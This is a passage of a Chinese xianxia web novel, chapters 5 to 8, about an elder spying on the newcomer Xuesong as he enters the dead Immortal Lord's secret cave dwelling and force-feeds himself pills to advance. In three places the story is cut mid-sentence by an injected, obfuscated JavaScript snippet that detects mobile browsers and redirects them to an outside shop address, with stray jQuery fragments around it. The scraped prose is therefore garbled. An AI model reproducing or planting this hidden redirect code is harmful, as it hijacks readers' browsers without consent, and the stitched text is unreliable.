长青一想到那种可能就忍不住发笑,走在路上笑得像个不倒翁一样,一边伸手扶着旁边的树干,一边往前走,声音颤抖着说:“我记得,当初他进试炼的时候是自己进的吧?不仅没有和人合伙,甚至进去之后也没有组队?”
“是的,”长老回忆了一番,肯定道,“不管是进去之前,进去之后还是出来,他身边都没有其他人的,我还以为像他那种人,一辈子只有和自己过了呢,没想到还藏着一个朋友,真有意思啊?”
长老也忍不住笑了起来,长青靠着旁边的树干,一边捂着脸笑,一边问:“这么说,如果仙尊想要让雪松知道这里的路却不愿意自己来是不可能的,因为这事根本不能假手于人,他没有和别人同路,也就代表,其他人根本不知道他当初的路线?”
“也不是完全没有人知道,”长老想了想,耸了耸肩,“比如旁观新生试炼的长老们就知道,但我想,长老们要注意的人太多,时间又太久,根本不会记得太清楚,更何况是告诉别人。”
长老停顿了一下,语气古怪起来:“最重要的是,我从来没有听说或者看见哪个长老,有在暗地里帮助仙尊引导朋友去新生试炼地熟悉环境。”
长老干咳一声,语气恢复正常,点评道:“虽然想要引导自己的朋友进入宗门,是很正常的事,想要帮助自己的朋友通过新生试炼,提前让人或者自己去帮助朋友熟悉新生试炼的目的地,也是很正常的。
但仙尊从来没和任何人走得近过,我一想到他可能是亲自带着他的朋友在他曾经走过的地方转了一圈,还避开了任何人,没有让其他人知道,我就觉得他们两个不对劲。”
“是啊,”长青转了转手腕上的金镯子,直起身来,远离了树干,左右辨别了一下方向,一边往前走,一边用异常愉快的语气说,“如果是我,我可不会暗地里避开所有人,单独带着朋友在我曾经的新生试炼地转一圈。”
5. 第 5 章
长青停住脚步,沉默了一阵,忽然笑起来:“我看见他了。”
这个他,毫无疑问是雪松。
长老直起身来,顺着长青传回来的画面一看,果然看见了,仿佛正在召唤什么东西的雪松,连忙嘱咐道:“你不要靠近,也不要打扰,先看看他要做什么,万一是什么重要的事情,可不能阻挠了。”
“我知道,”长青冷笑起来,说话有点咬牙切齿,拽着旁边的一根树枝,使劲扯了扯,好像那是长老的胡子一样,有种狮子磨牙般的怒意,“师尊——我又不是蠢货!”
长老知道他有点生气了,小声嘀咕:“那还不是因为你总是出人意料?什么事都干得出来。”
常青呵呵笑了两声,十分平静说:“您再说这样的话,我还真保不准自己会不会干欺师灭祖的事呢,您可闭嘴吧!”
长老还真有点怕他大晚上的跑过来把自己胡子眉毛头发全剃了,他干得出来这种事,更加小声道:“我知道了。”
不远处,雪松因为等级过低,压根没察觉出长青就在附近,甚至正在看他,他一门心思使用了召唤术,找出了从前放东西的位置,直接走了过去。
没走多远,他停了下来,眼前出现了一座洞府,烟雾缭绕,仙乐弥漫,水湖中红色锦鲤游来游去,看不清脸和身形的飘渺仙子正在空地上舞蹈,唱着听不出词的歌,门在他面前缓缓打开。
他毫不犹豫跨过门槛走了进去,如果让其他人看见,一定会以为他是被迷惑了。
因为不清楚这里面究竟有什么的人,在看见这样的洞府的第一时间肯定会怀疑,里面有什么危险,但他很清楚,这里面对别人或许有危险,对他是一点也没有的。
他设置的危险再多,也是对别人的,他可不想针对自己,他考虑过自己可能换号的事,所以这里的一切判断,都是从灵魂上来。
他用自己的灵魂印记作为避开这里一切危险的钥匙,同时为了避免被人窃取灵魂印记,导致物品遗失,他往里面加了一点系统数据,这样就更保险一些。
他一边回忆着往里走,一边辨认了一下方向,他隐约记得自己之前把东西放在了储藏室,只要现在到储藏室去把东西取走就行。
但其他房间也可能放着一点零碎的小东西,为了以防万一,他要打开门查看一下,这不需要很多时间,所以即使被人发现,也不是很要紧,因为不一定会被追上。
与此同时,见到诡异洞府的长青,瞪大了眼睛,感到惊讶,忍不住向长老问:“你曾经见过这个房子吗?”
长老直着眼睛盯着他传回来的画面,惊讶并不比他少,缓缓摇了摇头回答:“从来没有见过,不知道是什么时候出现的,可能有危险,你要进去看一下,要是雪松死在里面就不好了。”
长青敏锐的直觉告诉他,这个洞府或许和仙尊有关,否则雪松不会那么直接就进去,他一边往里走,一边说:“就算是只作为新生试炼的队长,我也没有让新生弟子死在眼前的道理,我会尽可能找他的。”
长青进入了洞府,看见周围弥漫的雾,听见含糊不清的诡异的歌声,寒毛倒竖,停顿了一下问:“刚才的情况你也看见了吧?他毫不犹豫就进去,好像早知道里面有什么,什么情况下他会知道里面有什么呢?”
“要么是他在里面住过,要么是他亲手创的,”长老想了想回答,“可是我很肯定从前这里根本没有这东西,至少我没有见过。”
“看来这个洞府和仙尊的朋友一样,”虽然能察觉到周围危机四伏,但已经进入洞府的长青回头一看,刚才进来的那扇门已经消失了,他忍不住笑了起来,“都是秘密啊。”
“等等,”长老灵光一闪,感觉自己好像抓住了某种关窍,“有能力避开所有人建造这么一座洞府的,只有仙尊。
如果仙尊会带着朋友避开所有人,在宗门内闲逛,也会带着朋友避开所有人,在新生试炼地熟悉环境,那他怎么不能避开所有人,在新生试炼地悄无声息,创造这么一个洞府呢?”
“如果这个洞府只是仙尊创造的,那其他人不可能知道,除非,”长青避开从雾气里飞来的虫子,跳进水里,却发现水底下的水鬼早就迫不及待,猛然间又爬出去,落在地面上,绿油油的藤蔓从草地间像蛇一样滑过来,刷的一声,缠住了他的脚踝,他点了把火,把藤蔓烧了,一头撞进不远处的屋子的门,两眼闪着极其兴奋的光,十分狼狈,喃喃道,“这个洞府确实是仙尊和朋友一起创的,说不定他们还在里面一起住过。”
长青进入屋内走廊,放慢了脚步,左右看了看,两边都是雪白的墙,崭新崭新的,好像从来没有人住过。
他念了一个查探气息的法术,伸手往墙上一点,立刻兴奋起来,睁大了眼睛对长老说:“不会有错了!我用法术探查,得到的结果是仙尊,这就是仙尊创的洞府!”
话音未落,他隐约觉得有点不对,皱了皱眉,又试了一次,结果还是和之前一样,他不由得停住了脚步,喃喃自语:“奇怪。”
“怎么?”长老还以为他是被困住了,连忙问。
“这里只有仙尊的气息,”长青抬起头来左右看了看,继续往这个漫长的好像永远没有结果的走廊深处走去,皱着眉头,声音低低道,“没有任何其他人的,就好像除了仙尊之外,这里没有任何人。这太奇怪了。”
“你有探查过雪松的气息吗?”长老若有所思问。
“这倒没有,”长青看着雾气逐渐从前后逼近,疑惑问,“怎么?”
“他们长得一样,用一样的名字,你怎么知道他们的气息不一样呢?”长老挑了挑眉问。
“可是,”长青迟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553887|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疑半晌,没有往前迈一步路,“如果连气息都一样,是不是太蹊跷了一点?真的不是陷阱或者诱饵吗?”
“我倒觉得更像道侣呢,”长老皱着眉头说,“道侣之间气息相似,甚至一样,是很有可能的事。
虽然我确实没有见过气息一样的道侣,但是听说过,向天道发誓,永远对对方忠心不二,愿意把自己的一切和对方共享,灵魂绑定,永不分离,道侣之间的气息就会一模一样。”
“正常人根本不会干那种事吧?就算是仙尊也一样,”长青只要稍微想一想仙尊那种冷得要命的人,居然会和别人发这种亲密无间的誓言,就觉得古怪极了,好像有洋辣子在身上爬,皱着眉头,分外诧异,“倒不如说,就因为是仙尊,所以这种事情才更不可思议,根本不可能存在才对!”
长青毫不客气说:“任何人发那种誓言都是找死,只要脑子还算清醒,就不会干,更何况是仙尊,我记得他死之前脑子还算正常。”
长老摸了摸下巴,若有所思:“确实,很难想象仙尊那样的人会发这种誓,如果说有一个修为比你低的人被你胁迫了,发这种誓言,我倒觉得可信些。”
长青沉默了半晌:“你再说这种话,我要在你当着所有人面讲话的时候把你衣服烧了。”
长老为了避免自己真的在别人面前说话的时候被烧掉衣服,迅速转移话题说:“既然你没有查到第二个人的信息,那就说明这里从始至终都只有仙尊一个人,那仙尊的朋友是怎么知道的?”
“你刚才不是说这个洞府有可能是他们两个一起创造的吗?哪怕是仙尊创造,雪松在旁边看,雪松也是有可能知道,”长青顿了顿,觉得自己说的话有点诡异,但还是说了下去,“这里对于他而言是十分安全的,或许还有他要的东西,这才是他来的原因。”
长老摸摸下巴:“如果只是为了安全,那他不必来,毕竟新生试炼并不算太危险,你又说了会保护他,那就更不用来了,只能是为了东西了,什么东西呢?”
“我们现在已经开始默认,这个地方是他们两个一起创造的了吗?”长青沉默着往前走了两步,躲开了突然从墙壁里伸出来的手,忽然问。
“如果不是他们一起创造的,”长老摊开手,一副无可奈何的样子,“这里怎么会有仙尊的气息?雪松怎么知道?怎么毫不犹豫就进来?
倒不如疑惑一下,仙尊为什么要在这避开所有人创一个洞府,就为了给自己朋友留下东西?难道他的死有蹊跷?可是我们所有人都看见了的,能有什么呢?”
“那就只有看见东西才能知道了。”长青加快速度,一头撞在墙上,总算离开了走廊,又来到了一片火海,在意识到是幻觉之后,转了转手腕上的金镯子,毫不犹豫顺着指引,找到了正在开门的雪松。
门里是一堆东西。
6. 第 6 章
因为洞府里的幻术仍然在生效,长卿看见的房间里的一堆东西,是一堆血淋淋的白骨,他看见这些东西的第一眼,就知道自己又一次中了幻术,连忙念了解除咒。
雪松看见的东西和他完全不一样,是一堆以他现在的等级完全可以使用的丹药和装备,还有一堆花花绿绿的衣服。
他皱着眉头,看了看那些衣服,想起来究竟是多久以前买的,全是一些特别便宜,但是以他当时的身份又不太适合穿出去的东西,所以就留在这里了。
虽然以前的账号不太适合穿这些衣服,现在的账号好像也不太合适,雪松想了想,觉得这些衣服送给长青穿也许会不错。
长青的脸不错,身材不错,性格也是穿什么都合适的类型,身份地位不是很高,又不是很低,上面的不管他,下面的管不着,真要是有人看不惯他,他也直接打,不会受欺负,也不会受气,最适合穿那些平时一般人穿不出去的衣服了。
这个时候,雪松忽然觉得后面好像有人看着他,转头一看,是长青,吃了一惊,没想到他直接出现在洞府里,不过仔细打量一番,发现他浑身上下都脏兮兮湿漉漉的,看起来狼狈极了,就知道他也没讨到几分好处。
雪松就对长青招手:“你要不要换衣服?这里有一堆,我看都很适合你,你现在拿去穿一穿怎么样?”
长青有些诧异:“我?”
“是的,”雪松点了点头,提起一件非常花哨的衣服,对他晃了晃,“来吧!”
虽然觉得现在的情况实在是古怪极了,但换一身衣服也未尝不可,长青想了想,走了进去,提起一件衣服,发现这件衣服,完全就是仙尊曾经买过的款式,愣了一下。
“我可以在这里换吗?”长青左右看了看,这是一个宽敞明亮的小房间,墙上是密密麻麻的丹药瓶子,柜子里挂着整整齐齐的衣服,雪松正在旁边拉抽屉,抽屉里放了一堆饰品:“这里安全吗?”
“应该安全,”雪松往周围看了看,这个洞府所有地方对他来说都十分安全,他感觉不出来哪里有什么不一样,“你到换衣间去吧。”
雪松抬起手来,往不远处的暗门一指:“那里就是换衣服的地方。”
长青提着衣服走过去,犹豫着问:“你怎么知道?”
雪松一时沉默了,他既不想现在承认自己就是仙尊,也不想说,这个洞府就是自己创建的,因为以他现在的实力,他根本创不了这样的洞府,想了想,含糊道:“看起来很像我之前住的地方,我猜那应该是。”
这也不算说谎,他确实住过这样的地方。
长青将信将疑推开了门,发现后面果然是换衣间,神色复杂,看了他一眼,走了进去,关掉了徽章的画面,只留下声音,一边换衣服,一边问长老:“刚才的话你听见了吗?”
长老语气十分复杂:“我听见了。”
“雪松说这里很像他曾经住过的地方,”长青换好了衣服,重新把徽章别在衣服上,低着头说,“他曾经究竟住在什么地方?我没有在这里探查到他的气息,那他应该没有在这里住过,他能住在哪儿?从前那座山上?我可从没听说过,那座山居然有这样的洞府。”
“有一个地方,”长老沉默了好半天,用一种世界观破碎正在一点一点拼回去的声音,缓缓说,“仙尊的洞府,就是这个布局。”
长青正准备推门出去,听见这话,连门都没扶稳,险些摔在地上,大惊失色问:“什么?!”
“不会有错的,”长老一边回忆,一边感慨,惊讶程度并不少于他,忍不住摇头说,“我去仙尊的洞府送东西,仙尊正在换衣服,我亲眼看见他从换衣间里出来的,他出来之前我还不知道他在哪儿,只知道他在洞府里,那个换衣间那么隐蔽,一般人根本不会知道。”
长青靠着门缓缓滑落,双眼发直,喃喃自语:“这么说,他们不仅住在一起,而且可能住了很久,否则,雪松不可能知道换衣间的位置。这种事居然没人发现,真是不可思议。”
长老耸了耸肩,对此接受良好:“仙尊实力那么强,有人能在他的洞府里发现他要藏的人,那才奇怪呢。”
“这倒也是,”长青咳嗽两声,发现自己好像不知不觉中了毒,忍不住苦笑起来,“你刚才看见雪松拿给我的衣服了吗?这分明是仙尊买的衣服,我说他为什么不穿,原来是全都放在这里,等着给他的——”
长青冷笑一声,往外吐了一口血,咬牙切齿,好像要把那两个字嚼碎磨平变成粉末再吐出去一样,充满质疑的意味:“朋友?”
长老听出他的意思,忍不住咳嗽起来,好像要把肺咳出来一样:“仙尊和雪松,用一样的名字,一模一样的脸,住在一起,仙尊还会给雪松买衣服,给雪松准备这么一大屋子的东西,随便他安全进出,但是阻止其他人,你现在还真觉得他们是朋友?”
长青不屑道:“仙尊再怎么了不起,也不过是个死人罢了。”
长老沉默了一阵,用一种极其敬佩的语气感慨道:“你居然是这么想的吗?我看他们两情相悦,你是争不过仙尊的。”
“人都死了,”长青切了一声,更加嘲讽道,“哪来什么两情相悦?最多算情丝未了。”
他说着,不知哪里涌来的力气,把门推开,踉踉跄跄走了出去,一头扑向雪松,雪松猛然一惊,结果发现他在吐血,又僵住了。
“你怎么了?”雪松疑惑问。
“中毒了,”长青一改在换衣间里嚣张跋扈的态度,惨白着一张脸,垂着眼睛,气若游丝,十分虚弱,依偎在雪松怀里,像一只懒洋洋的巨大的雪豹在试图伸懒腰,“能给我找找解药吗?只有解毒丹也行,我没带。”
雪松摸摸他的脖子,确认
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553888|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了他中的毒,在旁边的瓶子里翻了翻,翻出来一瓶药递给他:“应该是这个,拿去吃。”
长青看了一眼,抬起手,要把瓶子接过去,手却抖了两下,深深叹了一口气,用两只手捧住瓶子,十分可怜说:“我拿不稳,怕掉了,你能不能喂我?”
雪松已经觉得事情有一点不对劲了,但是,看他突然咳嗽起来,开始往外吐血,连忙把药倒出来,把他的脸掰过来,把药塞进他的喉咙里,又从旁边找了一瓶水,给他灌了下去。
他感觉自己像是雪松手里的一只小鸡仔,挣扎着咳嗽起来,这回是一点演的成分也没有了,险些把刚吞下去的丹药吐出来。
雪松一边担忧拍了拍他的后背,一边皱着眉头,观察他的情况,疑惑问:“这么严重吗?吃了药还不好?是不是找错了?要不再来一份?”
长青猛然一惊,强行止住咳嗽,捂住喉咙,连忙摆手,脸上因为咳嗽胀得通红,声音沙哑道:“不用了,我、咳咳、一会儿就好。”
他说着,又往外吐了一口血。
雪松疑惑问:“真的一会儿就好吗?”
“真的。”长青使劲点了点头。
雪松收回手去,掏出帕子,擦了擦手,莫名有种刚见过血的屠夫正在擦刀的感觉,声音轻快温和,带着丝丝缕缕的愉悦:“那好。”
长青听着他的声音,感觉自己被下套了,又忍不住暗自感慨,他刚才给人的即视感真的很像仙尊,完全就是翻版,缓了一会儿,毒完全解掉了。
长青恢复了力气,站起身来,对雪松道了谢,雪松不以为意,摆了摆手,正坐在旁边,握着瓶子,翻看里面的药。
长青干脆坐在旁边,试探着问:“你之前住在什么地方?”
雪松随意回答:“一个朋友家。”他不能说自己家,因为他根本没有住处,总不能跟别人随便说一个地方,之后被人发现那里根本住不了人,或者已经有别人在住了吧?
长青愣了一下,心想这个朋友应该就是仙尊了,但忍不住又问:“什么样的朋友?”
“一个对我很好的朋友,是个孤儿,没有兄弟姐妹,”雪松垂着眼睛,按照自己之前的情况编了起来,“因为我们一见如故,所以很快成了朋友,他把什么好的都给我,最后,死了。”
死人没有后续,死人不会说话,死人用来编故事最棒了。
雪松一边说,一边把手里的丹药灌进嘴里,一颗也没剩下,之后把空了的丹药瓶往旁边的桌上一放,又拿起一个崭新的装满了的瓶子。
长老旁听了雪松的话,喃喃道:“仙尊是孤儿,没有兄弟姐妹,大多数时间都在旁人的注视下,不可能慢慢去交朋友,所以和人一见如故之后成为朋友是合理的,把什么好的都给出去,给了一屋子,那确实是都给了,死了也对得上!仙尊,现在可不就是已经死了吗?”
7. 第 7 章
长青不死心,想了想又问:“你那个朋友叫什么名字?”
雪松含糊道:“不太记得了,他死的时间有点早,死了之后,我的记忆好像受到了一些影响,很多东西都不太记得。”
他也想直说那个朋友和自己名字一样,但那不就是明晃晃的,说自己朋友是仙尊吗?他现在一个刚进宗门的新生弟子,哪来的脸说自己和已经死了的仙尊曾经是朋友呢?
更何况,仙尊多大年纪,他多大年纪?哪怕他们外表看起来差不多,实际上也是有区别的,做朋友有点勉强了。
他也可以说自己的朋友名字叫松雪,但是这个名字一听就有一点古怪,好像是专门用来敷衍人的,给人一种很容易被拆穿的感觉。
所以他说自己不记得了,这样不管是之后突然想起来,还是之后都说,我不知道,都是可以的,进退自如,灵活得很。
不过,长老和长青就不这么想了。
长老喃喃道:“不太记得?死得早?”
长青沉默了一阵,和长老传音说:“雪松的记忆明显出现了问题,他自己不知道问题在哪,会不会是他那个死的早的朋友做的?”
长老想了想说:“我记得是有这种法术,为了避免自己的离去,让身边的人太伤心,会有人用法术让自己的身边人忘记关于自己的事情,但这个法术一旦用了,忘记是彻彻底底的,什么都不会留下,倒不太像了。”
他顿了顿,语气忽然复杂起来:“还有一种可能,单纯是朋友死去,对他的打击太大,他精神错乱,所以失去了一部分的记忆,这就可以解释为什么他记得有那么一个朋友,还记得朋友已经死了,却不记得朋友叫什么名字。”
长老指点说:“也可以试试他身上有没有法术残留,如果有,那他就是被人施了法,如果没有,那就是单纯的受刺激失忆罢了。”
长青犹豫了一瞬。
如果雪松是被“朋友”施了法术才失忆的,那说明他们也不见得是什么好朋友,毕竟没见过几个好朋友,会自作主张让别人失忆的。
但如果雪松是受刺激失忆的,那只能说明一件事,他和那个朋友的感情真的很好,长青还真有点怕自己接受不了。
不过,犹豫过后,长青深吸一口气,还是下定了决心,想要试一试雪松身上究竟有没有法术的痕迹,不管有没有,总得试了才知道。
他不能什么都没做,就觉得自己已经失败了。
长青伸出手去,拉住雪松,一边悄无声息施展了测试的法术,一边试图分散雪松的注意力问:“你和你那个朋友写过信吗?”
这个问题也是长青非常想知道的,所以他问问题的时候,脸上露出的那种好奇和迫切,都不是作假。
雪松把瓶子里的丹药最后一颗掏出来,塞进嘴里,尝了尝味道,发现表面裹了一层薄薄的糖粉,抿了抿唇,回答说:“写过。”
他并没有什么朋友,也没给什么朋友写过信,但他给系统写过,刚下山的时候写过,刚入宗的时候写过,快死的时候也写过。
不过说是信,实际上是反馈建议,通常内容是,我觉得这颗糖可以更甜一点,下次的奶茶不要加冰,我不要薄荷奶绿,你有一点卡了,哪里的网比较好之类的,一些不能被别人看见的内容。
虽然这个世界一整个都没有网,但是系统的网是从别的世界接过来的,所以,系统是有网的,而且可以根据不同的位置判断网络的远近和强弱。
系统通常是不掉线的,但偶尔也会被卡下去,这种时候不能直接在系统里面写建议,雪松就会摊开纸,找个没人的地方拿起笔,刷刷写一些想要告诉系统的东西。
比如:下次早点上线,不要再卡了,你说哪里网好,我现在就去,你不要走啊!
雪松一想到系统被卡下去的日子,就忍不住热泪盈眶,深吸了一口气,调整了一下呼吸和情绪,把脸往旁边侧,免得被近在咫尺的长青看出端倪。
实际上,就算他现在背对着长青,长青也能看出来他的情绪波动,这不是眨一眨眼就可以忽略过去的东西,他一路上加起来情绪波动都没有现在这么大。
长青直勾勾盯着他,不由得瞪大了眼睛,感到不可置信。
哪怕连名字都不记得,哪怕只是朋友,哪怕已经死了,只是提起曾经写过信的事,都会难过到眼泛泪光?就那么在乎?
与此同时,法术的反馈结果传回来了,长青能够很明确感知到,雪松身上没有任何中过法术的痕迹。
也就是说,如果雪松真的失忆了,和法术没有任何关系,单纯是因为情绪波动过大,身体受到刺激,甚至可能是意识上的抵触。
长青瞳孔颤抖,大为震撼。
仙尊和雪松的感情居然真的有这么好吗?好到这个地步?因为仙尊的死而十分痛苦的,大有人在。
但是痛苦到居然失去了曾经认识过仙尊的印象,甚至连名字都不记得,雪松还是长青见过的头一个。
长青还在恍惚,雪松趁机大把大把抓起丹药就吃。
长老忽然向长青喊了起来:“雪松怎么一直在吃丹药啊?你问问他吃的是什么!他的修为还低得很,不能这么吃的!容易爆体身亡啊!”
长青猛然一惊,回过神来,定睛一看,雪松刚把手里丹药瓶的最后一颗丹药倒出来吞掉了。
他一下子站起身来,往桌上一看,桌上已经不知什么时候,密密麻麻摆着一堆丹药瓶子,好像都是吃过的了。
长青大为震惊,一把抓住雪松问:“你吃了这么多丹药?”
“是啊,”雪松往旁边看了一眼,十分平静说,“这些都是我吃过的了。”
他很确定这些丹药都是他现在的等级可以吃的,而且他需要极速提升等级,根本没必要慢慢来。
一口气全吃了,再扛过去就可以,反正有系统在,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553889|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他一时半会儿是不会死的,所以他一点迟疑都没有。
长青已经被震惊得不知道说什么才好,一脸麻木按着他说:“吐出来行吗?”
“不行,”雪松摇了摇头,把他推开,浑身上下的皮肤开始出现裂痕,身体里涌动的因为丹药而浮出的能量,在他身边暴躁滚动,虽然没有伤害任何东西,但引起了空气的剧烈波动,“我要升级了,你不要打扰我。”
长青呆呆站在旁边说:“可是你这样会死的。”
“不会的,”雪松笑眯眯用沾满了血的手拉着他拍了拍,好像在安慰一只着急得走来走去的小狗,语气温和说,“不用担心。”
说完,雪松收回手,闭上眼睛,不再动了。
长青感到心脏剧烈跳动,往后退了两步,看着自己刚才被拍的那只血呲呼啦的手,哭笑不得,就干脆站在旁边开始护法。
反正事已至此,已经没有办法阻止了,唯一能做的,只有不让别人打扰了。
抽屉里的一只晶莹莹润的珍珠戒指,忽然咔嚓一声裂开了,紧接着,雪松旁边站了一个人,长青猛然间转过身去,发现是仙尊,愣了一下。
仙尊不是死了吗?怎么又出现在这儿了?
长青皱了皱眉,下意识以为是妖怪伪装的,但是定睛一看,发现不对,这确实是仙尊,只不过不是本尊,而是多年前留下来的一缕残影,有一些稀薄的自我意识,有相应的能力,但是不会留存太久。
长老通过徽章看见了这边的情况,忍不住大喊道:“仙尊居然连自己死后的事情都考虑到了吗?”
仙尊不满长青的注视,皱了皱眉,释放出威压,长青往后踉跄了一步,神色有些恍惚,向长老问:“什么?”
长老虽然知道仙尊看不见自己,但不确定仙尊能不能感觉到自己在旁观,下意识像只鬼鬼祟祟钻地道的老鼠一样,对长青传音感慨说:“仙尊和雪松是朋友,自然知道雪松见到这些丹药会怎么做。
他早就猜得到,雪松会一口气全都吃掉,但他没打算阻止,否则,他就不会放这么多了。
他留了自己的残影,是为了给雪松护法,避免有人在雪松进阶的时候打扰他,真是用情至深啊。”
长青皱着眉头,不能理解,看了一眼对面的两个人。
仙尊正站在雪松旁边,目不转睛注视着他,虽然脸上仍然没有表情,但一身的气质十分柔和,就像是春日里一点一滴融化的溪水。
长青从前从来没有见过仙尊有这么温和的时候,他回忆了一下,从前不管什么时候见到仙尊,仙尊都是冷着脸的,能说一个字不说两个字,整个人就像是悬崖峭壁上的三尺寒冰。
如果不是确认气息一样,又亲眼看见,他简直要怀疑这是谁假扮的了。
“仙尊怎么知道,雪松一定会在他死后来到这里?”长青不明白。
“你忘了他们住在一起?”长老摇了摇头。
8. 第 8 章
“也对,”长青喃喃道,“如果他们真的是朋友而且住在一起,那仙尊活着的时候根本没人知道雪松,只有一个可能,仙尊压根没把雪松放出来过,他自然知道,他活着的时候,雪松是不可能来到这个洞府的。”
“可是,”长青皱着眉头,仍然觉得像是胸口有一团棉花在那里堵着一样,“他明知道雪松会一口气吃这么多丹药,还有可能死,还会受那么大的罪,他为什么不阻止?他只要把这里的丹药收走一些,雪松就不必冒这么大的风险,不一定会死,他为什么不?”
长老忍不住感慨道:“大概是因为他同样也知道,在他死了之后,没有人能保护雪松,雪松必须强大起来。
那就一定会需要丹药,与其循序渐进,不如一步到位,雪松越强就越不容易被欺负,他也就越放心,哪怕他已经死了。”
“一个死人还管这么多,”长青咬牙切齿,神色复杂,说不清什么感受,只觉得牙酸,皱着眉头,好像被迫旁观了一场恋爱,骂道,“真是过分!”
站在旁边的仙尊敏锐察觉到长青在骂自己,眯了眯眼睛,抬手就对他放了一道剑气,只听唰的一声,雪白的剑光从眼前划过。
长青猛然间往旁边跳开,险之又险躲开了,站在旁边,松了一口气。
仙尊抬起手来,又对他放了一道剑气,他往旁边躲开,却发现这一次不一样了,这一道剑气会追着他跑,完全不是躲开就安全的类型。
他倒吸一口凉气,立刻在屋子里转起圈来,仙尊皱了皱眉,对于他转圈这个行为,感到不满,仍然闭着眼睛努力突破的雪松看了一眼,一个法术向长青丢了过去,长青中招,下一刻,眼前一花,立刻感觉到自己被丢了出来。
他往左右看了看,确信自己已经离开了洞府,在外面了,但一时不知道方向,转了转手上的金镯子,重新找了回去。
不过这一次,停在洞府门口,他没有继续往前的打算,倒不是害怕被打,或者是觉得自己可能会死,只是考虑到,雪松毕竟还在突破。
他来来回回进进出出,即使没有声音也会造成影响,更何况,他大概做不到一声不吭,那就是绝对会造成影响了。
这么一想,自己还是不要进去比较好,真要是打扰了别人突破,那就罪大恶极了,长青可还不想被讨厌,尤其是因为这种原因。
可惜树欲静而风不止,他打算找个地方坐下休息,旁边却忽然来了一队,领头的队长平时就和他不对付,带着的那些弟子也个个都是不省油的灯,一见到他在这里立刻走了过来,根本没有避开的意思。
他皱着眉头,思考着现在换个位置还来不来得及,对面就已经带着一群人把他堵住了,他把这些人看了看,发现弟子中有不少都是之前围攻过雪松的人。
那他们是不会轻易放过他的,如果让他们发现了雪松,他们大概,更加不会善罢甘休,毕竟,前车之鉴摆在那里。
他们要是会因为一场失败的围攻而放弃针对雪松,那倒是令人不得不刮目相看了,可惜,他们是不会当那样的好人的。
“好久不见啊,长青队长,”同样作为队长的胡来笑眯眯拦在他面前,和他打了个招呼,十分挑衅道,“你一直追着的那个新生弟子呢?怎么没看见人?不会是被甩了吧?那好可惜哦!你也是宗门里的老人了,怎么连一个新生弟子都把握不住?要不要我帮你?”
胡来一只手点着下巴,一边绕着他转来转去,像只翘着尾巴炫耀自己刚刚偷了鸡的狐狸似的,笑嘻嘻说:“我等会儿抓住他,打断了四肢,绑起来送给你,顺便挖了眼睛,拔了舌头,连牙齿也拔掉,保证既不会伤害你,又能让你得到乐子,好不好?”
“我劝你不要这么做,”长青听见他的话猛然一惊,随后想到了把自己丢出来的仙尊的残影,大概现在还守在持续升级的雪松身边,就忍不住目光怜悯看着他说,“你打不过他的。”
胡来冷哼一声,以为这话全然是嘲讽,毫不客气说:“我虽然从前受了伤,略有些修为倒退,但若要处理一个新生弟子,也还是绰绰有余的,你不要看不起我!”
“我没有看不起你的意思,”长青叹了一口气,知道跟他说什么都没用,也不打算劝他什么了,找了个地方坐了下来说,“你要是找得到他,再说你要做的事吧。”
反正,仙尊的残影应该没那么快就消散掉,打谁都绰绰有余,更何况,要处理宗门里一个受过伤的,只靠辈分上位的弟子。
胡来皱着眉头,觉得他的态度十分蹊跷,更加认定周围有陷阱或者埋伏,告诉身边的新生弟子队员们说:“这附近一定有什么!现在分散开来!快点给我找!现在就找!我不相信找不出来!我们这么多人!难道还比不过他一个不成?也别让他太狂妄了!”
众弟子听令:“是!”
他们兴致勃勃分散开来,到处寻找,很快,他们找到了已经被开启过一次的洞府入口,强行闯了进去。
长青看着他们依次进入,如同看着一尾一尾的小鱼们主动钻进了渔网里,忍不住摇头,本来已经不打算进去的,毕竟进去容易被打出来,又帮不上什么忙,还不如在外面等,但又实在想看热闹,想了想,还是跟着走了进去。
反正,前面有那么多人,多他一个也不多,就算真要把人打出来,肯定也不止打他一个,和之前比,情况已经好了不少了。
他还有什么不知足呢?
他走进去没两步就看见了,在他前面进入的那一群人,不出意外,兴冲冲进来的新生弟子中,一大批都中了毒。
连他也会不小心中招的毒,这些弟子们就更避免不了了,一个两个躺在地上,脸色铁青,身体发抖,
